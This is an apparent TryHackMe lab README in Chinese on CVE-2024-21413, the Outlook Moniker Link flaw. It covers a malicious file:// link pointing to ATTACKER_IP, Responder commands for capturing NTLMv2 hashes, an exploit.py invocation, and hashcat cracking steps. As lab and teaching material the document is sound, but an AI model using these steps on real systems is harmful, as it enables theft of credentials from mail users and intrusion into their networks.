CVE-2024-21413 — Moniker Link 🔗💀

Microsoft Outlook RCE + NTLM 凭据泄露

⚠️ 免责声明： 本仓库仅供安全教育和研究之用。所有演示均在受控且隔离的环境中进行。未经明确授权对系统使用这些技术是非法且不道德的。

📋 目录

• 概述
• 漏洞原理
• 实验环境
• 分步演示
• Exploit 脚本
• 攻击示意图
• 缓解与防御
• CVE 深度解析
• 参考链接

🔍 概述

CVE-2024-21413 是 Microsoft Outlook 中的一个严重漏洞，使攻击者能够：

1. 通过强制自动 SMB 认证泄露受害者的 NTLM 凭据
2. 通过电子邮件中的恶意链接在目标机器上远程执行代码

“Moniker Link” 这一名称源于对 Component Object Model (COM) Monikers（Windows 中通过字符串引用对象的机制）的利用，以绕过 Outlook 对 file:// 链接的保护。

🧠 漏洞原理

问题所在：绕过受保护视图（Protected View）

通常，Outlook 会阻止指向网络资源的 file:// 链接，并显示安全警告（受保护视图）。该缺陷在于 Outlook 处理包含 ! 字符（Moniker 分隔符）的 URL 的方式。

利用方式

恶意链接格式如下：

file:///\\ATTACKER_IP\share\!something

! 字符会使 Outlook 的解析器将 URL 解释为对 COM Moniker 的引用，从而绕过常规安全检查。结果如下：

• 受害者的机器会尝试通过 SMB 自动向攻击者的服务器进行认证
• 在此认证过程中，受害者的 NTLM Hash 会被传输
• 该 Hash 可用于 Pass-the-Hash 攻击或离线破解

简化攻击流程

攻击者发送邮件 → 受害者点击链接 → Outlook 处理包含 "!" 的 URL
→ 绕过受保护视图 → 自动 SMB 连接 → 捕获 NTLM Hash

🖥️ 实验环境

为安全地复现此案例研究：

重要提示： 请使用隔离网络（VirtualBox/VMware 中的 NAT 或 Host-Only 模式）。切勿在真实网络上执行。

所需工具

# Responder —— 用于捕获 Hash 的 SMB/HTTP 监听器
sudo apt install responder

# Python 3 —— 用于运行 exploit
python3 --version

# 检查机器之间的连通性
ping <IP_ALVO>

🚀 分步演示

步骤 1 — 获取攻击机 IP

ip a | grep inet
# 记下与目标通信的接口 IP（例如：192.168.56.10）

步骤 2 — 启动 Responder

Responder 会创建一个伪造的 SMB 服务器，用于捕获 NTLM 认证 Hash。

sudo responder -I eth0 -v
# 将 eth0 替换为你的网络接口

预期输出：

[+] Listening for events...
[SMB] NTLMv2-SSP Client   : 192.168.56.20
[SMB] NTLMv2-SSP Username : DESKTOP-ALVO\usuario
[SMB] NTLMv2-SSP Hash     : usuario::DESKTOP-ALVO:...

步骤 3 — 运行 Exploit

python3 exploit.py \
  --sender [email protected] \
  --recipient [email protected] \
  --server <IP_SERVIDOR_EMAIL> \
  --attacker-ip 192.168.56.10

步骤 4 — 等待受害者点击链接

当受害者打开邮件并点击链接时，Responder 会自动捕获 NTLM Hash。该 Hash 可用于：

• 分析以识别被入侵的账户
• 用于 Pass-the-Hash 在网络上进行横向认证
• 交给 Hashcat/John 进行离线破解尝试：

hashcat -m 5600 hash.txt wordlist.txt

🐍 Exploit 脚本

查看 exploit.py 文件获取完整且带注释的脚本。

📊 攻击示意图

查看 diagrama-ataque.html 文件，获取整个攻击流程的交互式可视化。

🛡️ 缓解与防御

查看 MITIGACAO.md 文件，获取完整的缓解与防御指南。

📄 CVE 深度解析

查看 CVE-BREAKDOWN.md 文件，获取该漏洞的详细技术分析。

📚 参考链接

• 微软安全公告 — CVE-2024-21413
• Morphisec — Moniker Link 研究报告
• TryHackMe — Moniker Link 房间
• Responder 工具 — GitHub
• NTLM 认证 — Microsoft Docs
• NVD — CVE-2024-21413

👤 作者

本案例研究是 TryHackMe 实战攻防安全培训的一部分。

本项目遵循**负责任披露（responsible disclosure）与道德黑客（ethical hacking）**原则。此处所有内容旨在促进教育并提升安全防护水平。